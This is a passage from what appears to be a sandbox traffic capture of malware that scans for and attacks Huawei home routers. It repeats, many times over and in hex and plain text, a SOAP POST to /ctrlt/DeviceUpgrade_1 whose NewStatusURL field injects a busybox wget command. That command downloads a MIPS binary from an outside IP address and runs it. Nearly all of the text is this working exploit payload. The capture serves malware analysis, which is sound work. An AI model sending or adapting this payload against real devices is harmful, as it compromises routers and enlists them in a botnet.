huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.610491991 CET	2129	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.705897093 CET	2241	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:12.896692991 CET	2481	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:29.278565884 CET	2904	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	37646	156.230.16.157	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:59.139051914 CET	2099	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.802500010 CET	2131	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:02.754082918 CET	2186	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:06.753684998 CET	2295	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.688508034 CET	2512	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.302400112 CET	2930	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 